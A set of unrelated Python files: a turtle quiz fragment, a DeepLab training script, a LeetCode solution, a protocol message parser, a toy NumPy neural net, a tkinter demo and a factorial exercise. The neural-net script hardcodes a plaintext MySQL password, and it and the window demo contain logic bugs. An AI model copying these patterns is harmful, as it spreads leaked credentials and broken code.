        text = turtle.Turtle()
        text.hideturtle()
        text.up()
        # print(row)
        text.goto(int(row.x), int(row.y))
        text.write(row.state.item())
        score += 1

        if score == 50:
            playing = False

"""function to get state coordinates"""
# def get_mouse_click_coor(x, y):
#     print(x, y)
#
# turtle.onscreenclick(get_mouse_click_coor)
#
# turtle.mainloop()


import os
import os.path as osp
import sys

sys.path.insert(0, osp.dirname(__file__) + '/..')

import argparse
import logging
import time
import torch
import torch.nn as nn

from core.nn.freezer import freeze_bn
from core.optim.build import build_optimizer, build_scheduler
from core.utils.checkpoint import Checkpoint
from core.utils.logger import setup_logger
from core.utils.metric import MeterLogger
from core.utils.tensorboard_util import add_scalars
from core.utils.torch_util import set_random_seed
from deeplab_v3_plus.data.build import build_dataloader
from deeplab_v3_plus.data.utils.bdd_visualization import convert_label_to_color
from deeplab_v3_plus.data.utils.mapillary_visualization import apply_color_map
from deeplab_v3_plus.data.utils.visualization import visualize_network_output
from deeplab_v3_plus.models.build import build_model
from torch.utils.tensorboard import SummaryWriter

# This is the prefix of all the loggers in this script
# We will overwrite it with task specific name
LOGGER_BASENAME = 'deeplab'

def parse_args():
    """
    Parse the command line arguments
    """
    parser = argparse.ArgumentParser(description='DeepLab Training')
    parser.add_argument(
        '--cfg',
        dest='config_file',
        default='',
        metavar='FILE',
        help='path to config file',
        type=str,
    )
    parser.add_argument(
        'opts',
        help='Modify config options using the command-line',
        default=None,
        nargs=argparse.REMAINDER,
    )

    args = parser.parse_args()
    return args

def train_one_epoch(model,
                    loss_fn,
                    metric,
                    dataloader,
                    optimizer,
                    scheduler,
                    log_period=-1):
    logger = logging.getLogger(LOGGER_BASENAME + '.train')
    # If you want to know something's average movement, put it into the meter logger.
    metric.reset()
    meter_logger = MeterLogger()
    meter_logger.bind(metric)
    # set training mode
    model.train()
    loss_fn.train()

    start_time = time.time()
    for iteration, data_batch in enumerate(dataloader):
        load_data_time = time.time() - start_time

        data_batch = {k: v.cuda(non_blocking=True) for k, v in data_batch.items()}

        preds = model(data_batch["image"])
        loss = loss_fn(preds, data_batch["label"])

        with torch.no_grad():
            metric.evaluate(preds, data_batch["label"])
        meter_logger.update(loss=loss, data_time=load_data_time)

        optimizer.zero_grad()
        loss.backward()
        optimizer.step()
        scheduler.step()

        batch_time = time.time() - start_time
        start_time = time.time()

        if log_period > 0 and iteration % log_period == 0:
            logger.info(
                'iter:{iter:4d} {meters} lr:{lr:.2e} max mem: {memory:.0f} MiB'.format(
                    iter=iteration,
                    meters=str(meter_logger),
                    lr=optimizer.param_groups[0]['lr'],
                    memory=torch.cuda.max_memory_allocated() / (1024 ** 2)
                ))

    return meter_logger

def validate(model,
             loss_fn,
             metric,
             dataloader,
             tb_writer,
             log_period=-1,
             curr_epoch=0):
    """
    Validate the model
    Args:
        model:
        loss_fn:
        metric:
        dataloader:
        tb_writer: TensorBoard writer
        log_period: Print out the logger info per log_period iterations.
        curr_epoch: Current training epoch, use it for TensorBoard
    """
    logger = logging.getLogger(LOGGER_BASENAME + '.validate')
    metric.reset()
    meter_logger = MeterLogger()
    meter_logger.bind(metric)
    # set evaluate mode
    model.eval()
    loss_fn.eval()

    with torch.no_grad():
        start_time = time.time()
        for iteration, data_batch in enumerate(dataloader):
            load_data_time = time.time() - start_time

            data_batch = {k: v.cuda(non_blocking=True) for k, v in data_batch.items()}

            preds = model(data_batch["image"])
            loss = loss_fn(preds, data_batch["label"])

            metric.evaluate(preds, data_batch["label"])
            meter_logger.update(loss=loss, data_time=load_data_time)

            batch_time = time.time() - start_time
            start_time = time.time()

            # Visualize a specific set of data
            if iteration == 3:
                visualize_network_output(data_batch, preds, apply_color_map, dataloader.dataset.labels,
                                         tb_writer=tb_writer, tag="Validation", step=curr_epoch)

            if log_period > 0 and iteration % log_period == 0:
                logger.info(
                    'iter:{iter:4d} {meters} max mem: {memory:.0f} MiB'.format(
                        iter=iteration,
                        meters=str(meter_logger),
                        memory=torch.cuda.max_memory_allocated() / (1024 ** 2)
                    ))

        return meter_logger

def train(cfg, output_dir):
    """  Training Pipeline  """
    logger = logging.getLogger(LOGGER_BASENAME + '.train')

    # Control the random seed for reproducibility
    set_random_seed(cfg.RNG_SEED)

    # Build model
    model, loss_fn, train_metric, val_metric = build_model(cfg)
    logger.info('Build model:\n{}'.format(str(model)))
    model = nn.DataParallel(model).cuda()

    # Build optimizer
    optimizer = build_optimizer(cfg, model)

    # Build lr scheduler
    scheduler = build_scheduler(cfg, optimizer)

    # Build data loader
    # Reset the random seed again in case the initialization of models changes the random state.
    set_random_seed(cfg.RNG_SEED)
    train_dataloader = build_dataloader(cfg, mode="train")
    val_dataloader = build_dataloader(cfg, mode="val")
    train_period = cfg.TRAIN.LOG_PERIOD
    val_period = cfg.VALIDATE.PERIOD
    val_log_period = cfg.VALIDATE.LOG_PERIOD

    # Setup TensorBoard
    tb_writer = SummaryWriter(output_dir)

    # Setup checkpoint
    checkpoint = Checkpoint(model, optimizer, scheduler, output_dir, logger)
    checkpoint_data = checkpoint.load(cfg.MODEL.WEIGHT, cfg.AUTO_RESUME, cfg.RESUME_STATES)

    # Setup the best model parameters
    train_metric_name = type(train_metric).__name__
    best_metric_name = 'best_{}'.format(train_metric_name)
    best_metric = checkpoint_data.get(best_metric_name, None)

    # Check if we need to freeze batch normalization
    if cfg.TRAIN.FREEZE_BATCHNORM:
        freeze_bn(model, True, False, verbose=True, logger=logger)

    max_epoch = cfg.SCHEDULER.MAX_EPOCH
    start_epoch = checkpoint_data.get('epoch', 0)
    logger.info('Start training from epoch {}'.format(start_epoch))
    for epoch in range(start_epoch, max_epoch):
        curr_epoch = epoch + 1

        start_time = time.time()
        train_log = train_one_epoch(model, loss_fn, train_metric, train_dataloader, optimizer, scheduler, train_period)
        end_time = time.time() - start_time
        logger.info('Epoch[{}]-Train {} - Total Time:{:.2f}s'.format(curr_epoch, train_log.summary_str, end_time))

        add_scalars(tb_writer, "Train", train_log.meters, curr_epoch)

        # Save the latest model
        checkpoint_data['epoch'] = curr_epoch
        checkpoint_data[best_metric_name] = best_metric
        checkpoint.save('latest_model', **checkpoint_data)

        # Validate
        if val_period > 0 and (curr_epoch % val_period == 0 or curr_epoch == max_epoch):
            start_time = time.time()
            val_log = validate(model, loss_fn, val_metric, val_dataloader, tb_writer, val_log_period, curr_epoch)
            end_time = time.time() - start_time
            logger.info('Epoch[{}]-Validate {} - Total Time:{:.2f}s'.format(curr_epoch, val_log.summary_str, end_time))

            add_scalars(tb_writer, "Validate", val_log.meters, curr_epoch)

            # Save the model with best validation
            if train_metric_name in val_log.meters:
                curr_metric = val_log.meters[train_metric_name].global_avg
                if best_metric is None or curr_metric > best_metric:
                    best_metric = curr_metric
                    checkpoint_data['epoch'] = curr_epoch
                    checkpoint_data[best_metric_name] = best_metric
                    checkpoint.save('model_best', **checkpoint_data)

    # Print train summary
    logger.info('Best val-{} = {}'.format(train_metric_name, best_metric))

def main():
    """
    Parse user's arguments, setup logger, and call the train()
    """
    args = parse_args()

    # load the configuration
    # import on-the-fly to avoid overwriting cfg
    from deeplab_v3_plus.config.deeplab_v3_plus import cfg
    cfg.merge_from_file(args.config_file)
    cfg.merge_from_list(args.opts)
    cfg.freeze()

    output_dir = cfg.OUTPUT_DIR
    # replace '@' with config path
    if output_dir:
        config_path = osp.splitext(args.config_file)[0]
        config_path = config_path.replace('experiments', 'outputs')
        output_dir = output_dir.replace('@', config_path)
        os.makedirs(output_dir, exist_ok=True)

    logger = setup_logger(LOGGER_BASENAME, output_dir, prefix='train')
    # display arguments
    logger.info('Using {} GPUs'.format(torch.cuda.device_count()))
    logger.info(args)

    # display configuration
    logger.info('Loaded configuration file {}'.format(args.config_file))
    logger.info('Running with config:\n{}'.format(cfg))

    train(cfg, output_dir)

if __name__ == '__main__':
    main()


from typing import List
from collections import defaultdict
import heapq

class Solution:
    def minCostConnectPoints(self, points: List[List[int]]) -> int:
        adj = defaultdict(list)  # node -> [(cost, node)]

        minHeap = [(0, 0)]  # (cost, node)

        for i in range(len(points)):
            x1, y1 = points[i]
            for j in range(i + 1, len(points)):
                x2, y2 = points[j]

                dist = abs(x1 - x2) + abs(y1 - y2)
                adj[i].append((dist, j))
                adj[j].append((dist, i))
        res = 0
        visit = set()

        while len(visit) < len(points):
            cost, node = heapq.heappop(minHeap)

            if node in visit:
                continue
            res += cost
            visit.add(node)

            for neiCost, j in adj[node]:
                if j not in visit:
                    heapq.heappush(minHeap, (neiCost, j))
        return res


#!/usr/bin/python3
from mkpy.utility import *

# The following functions count_next() and count_start(), use the persistance
# functions to create an idiom where we have an increasing counter, that can be
# reset to 0 or set to a specific value. This is useful for example for
# iterating over files, for instance to review them after they were
# autogenerated.
def count_next ():
    i = store_get ('i', default=0)
    ex (f'echo Using counter value: {i}', echo=False)

    store ('i', i+1)

def count_start ():
    # Note the difference between using the default option in store() or
    # store_get() and in get_cli_arg_opt(). In the store functions the default
    # is only used if the variable is undefined in the cache, get_cli_arg_opt()
    # will return the default whenever the option is not present in argv.
    i = store ('i', int(get_cli_arg_opt('--counter', default = 0)))
    ex (f'echo Starting counter at: {i}', echo=False)

if __name__ == "__main__":
    # Everything above this line will be executed for each TAB press.
    # If --get_completions is set, handle_tab_complete() calls exit().
    handle_tab_complete ()

    pymk_default()


from .binrw import Data, Buffer
from .. import protocol
from ..logs import logger

class Msg:

    def __init__(self, m_id, data, count=None):
        self.id = m_id
        self.data = data
        self.count = count
        logger.debug("Initialized Msg with id {}".format(self.id))

    def __str__(self):
        ans = str.format("{}(id={}, data={}, count={})",
                         self.__class__.__name__,
                         self.id,
                         self.data,
                         self.count)
        return ans

    def __repr__(self):
        ans = str.format("{}(id={}, data={!r}, count={})",
                         self.__class__.__name__,
                         self.id,
                         self.data,
                         self.count)
        return ans

    @staticmethod
    def fromRaw(buf, from_client):
        """Read a message from the buffer and
        empty the beginning of the buffer.
        """
        logger.debug("Trying to parse message from raw buffer...")
        try:
            header = buf.readUnsignedShort()
            if from_client:
                count = buf.readUnsignedInt()
            else:
                count = None
            lenData = int.from_bytes(buf.read(header & 3), 'big')
            id = header >> 2
            logger.debug("Message has id {}".format(id))
            data = Data(buf.read(lenData))
        except IndexError:
            buf.pos = 0
            logger.debug("Could not parse message: Not complete")
            return None
        else:
            if id == 2:
                logger.debug(
                    "Message is NetworkDataContainerMessage! Uncompressing...")
                newbuffer = Buffer(data.readByteArray())
                newbuffer.uncompress()
                msg = Msg.fromRaw(newbuffer, from_client)
                assert msg is not None and not newbuffer.remaining()
                return msg
            logger.debug("Parsed message with ID {}".format(id))
            buf.end()

            return Msg(id, data, count)

    def lenlenData(self):
        if len(self.data) > 65535:
            return 3
        if len(self.data) > 255:
            return 2
        if len(self.data) > 0:
            return 1
        return 0

    def bytes(self):
        header = 4 * self.id + self.lenlenData()
        ans = Data()
        ans.writeShort(header)
        if self.count is not None:
            ans.writeUnsignedInt(self.count)
        ans += len(self.data).to_bytes(self.lenlenData(), 'big')
        ans += self.data
        return ans.data

    @property
    def msgType(self):
        return protocol.msg_from_id[self.id]

    def json(self):
        logger.debug(
            "Getting json representation of message %s",
            self)
        if not hasattr(self, 'parsed'):
            try:
                self.parsed = protocol.read(self.msgType, self.data)
            except IndexError:
                logger.error("Index error for message %s", self)
        return self.parsed

    @staticmethod
    def from_json(json, count=None):
        type = json['__type__']
        id = protocol.types[type]['protocolId']
        data = protocol.write(type, json)
        return Msg(id, data, count)


# -*- coding:utf-8 -*-
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE","dcgc.settings")
import django
django.setup()
import numpy as np
import pandas as pd
from sqlalchemy import create_engine

engine = create_engine('mysql+pymysql://gtianf:123456.@localhost:3306/dcgc')
sql = 'select standard_p,standard_t,u,uu,t,ut,tt from app01_raw_data where rom_id="6800 DC20 1608 1729"'
data = pd.read_sql_query(sql, engine)
#选择需要回归的自变量
feature_cols = ['u', 'uu', 't', 'ut', 'tt']
# X = np.array(data[feature_cols])
# print(X)
X = np.array([[6025,36300625,1401,8441025,1962801],
 [6540,42771600,1401,9162540,1962801],
 [7054,49758916,1401,9882654,1962801],
 [6934,48080356,1134,7863156,1285956]])
# y = np.array(data['standard_p']])
y = np.array([[250],[300],[350],[300]])
print(y)
# n = len(list(y))
# print(n)

def nonlin(x, deriv=False):
    if (deriv == True):
        return x * (1 - x)
    if -x > np.log(np.finfo(type(x)).max):
        return 0.0
    a = np.exp(-x)
    return 1.0/(1.0+a)

# X = np.array([[0, 0, 1],
#               [0, 1, 1],
#               [1, 0, 1],
#               [1, 1, 1]])

# y = np.array([[0],
#               [1],
#               [1],
#               [0]])

np.random.seed(1)

# randomly initialize our weights with mean 0
syn0 = 2 * np.random.random((5, 4)) - 1
syn1 = 2 * np.random.random((4, 1)) - 1

for j in range(60000):

    # Feed forward through layers 0, 1, and 2
    l0 = X
    l1 = nonlin(np.dot(l0, syn0))
    l2 = nonlin(np.dot(l1, syn1))

    # how much did we miss the target value?
    l2_error = y - l2

    if (j % 10000) == 0:
        print("Error:" + str(np.mean(np.abs(l2_error))))

    # in what direction is the target value?
    # were we really sure? if so, don't change too much.
    l2_delta = l2_error * nonlin(l2, deriv=True)

    # how much did each l1 value contribute to the l2 error (according to the weights)?
    l1_error = l2_delta.dot(syn1.T)

    # in what direction is the target l1?
    # were we really sure? if so, don't change too much.
    l1_delta = l1_error * nonlin(l1, deriv=True)

    syn1 += l1.T.dot(l2_delta)
    syn0 += l0.T.dot(l1_delta)

print(l2)


"""The function mimetools.choose_boundary() from Python 2.7, which seems to
have disappeared in Python 3 (although email.generator._make_boundary() might
work as a replacement?).

Tweaked to use lock from threading rather than thread.
"""
import os
from threading import Lock
_counter_lock = Lock()

_counter = 0
def _get_next_counter():
    global _counter
    with _counter_lock:
        _counter += 1
        return _counter

_prefix = None

def choose_boundary():
    """Return a string usable as a multipart boundary.

    The string chosen is unique within a single program run, and
    incorporates the user id (if available), process id (if available),
    and current time.  So it's very unlikely the returned string appears
    in message text, but there's no guarantee.

    The boundary contains dots so you have to quote it in the header."""

    global _prefix
    import time
    if _prefix is None:
        import socket
        try:
            hostid = socket.gethostbyname(socket.gethostname())
        except socket.gaierror:
            hostid = '127.0.0.1'
        try:
            uid = repr(os.getuid())
        except AttributeError:
            uid = '1'
        try:
            pid = repr(os.getpid())
        except AttributeError:
            pid = '1'
        _prefix = hostid + '.' + uid + '.' + pid
    return "%s.%.3f.%d" % (_prefix, time.time(), _get_next_counter())


import tkinter as tk
import ttkbootstrap as ttk

#window
window = ttk.Window(themename="darkly")
#window.geometry("600x400+456+291")
window.title("More on the window")
window.iconbitmap("Stark.ico")

#start window in the middle of the screen
window_width = 600
window_height = 400
display_width = window.winfo_screenmmwidth()
display_height = window.winfo_screenheight()

left = int((display_width - window_width) / 2)
top = int((display_height - window_height) / 2)
window.geometry(f"{window_width}x{window_height}+{left}+{top}")

#windos attributes
#window.minsize(200,100)
# window.maxsize(800,700)
#window.resizable(True, False) #allows you to only saize the window in either the x or y direction

#screen attributes
#print(window.winfo_screenwidth())
#print(window.winfo_screenheight())

#window attributes
#window.attributes("-alpha", 1)
#window.attributes("-topmost", True) # sets window on top of everything

#security event
window.bind("<Escape>", lambda event: window.quit())
#window.attributes("-fullscreen", True) #only works if no max-size is enabled
#window.attributes("-disable", True) doesnt let u execute the app if this is added because of the safety risks

#title bar
#window.overrideredirect(True)
#grip = ttk.Sizegrip(window)
#grip.place(relx=1.0, rely=1.0, anchor="se")

#run
window.mainloop()


# 3.  Find the factorial of number.

num = int(input("Enter a number: "))

if num < 0:
    print("Negative number is not allowed")
else:
    fact = 1
    for i in range(1, num + 1):
        fact *= i

    print("Factorial of", num, "is", fact)

# Algorithm
# 1. Start
# 2. Prompt the user to enter a number and store it in a variable.
# 3. Convert the number to an integer.
# 4. If num < 0 : Display Negative number is not allowed
# 5. Else : Calculate factorial
# 5.1. define fact = 1
# 5.2. Start loop for i in range(1, num + 1) :
# 5.2.1. fact = fact * i
# 5.3. Display the factorial stored in fact.
# 6. Stop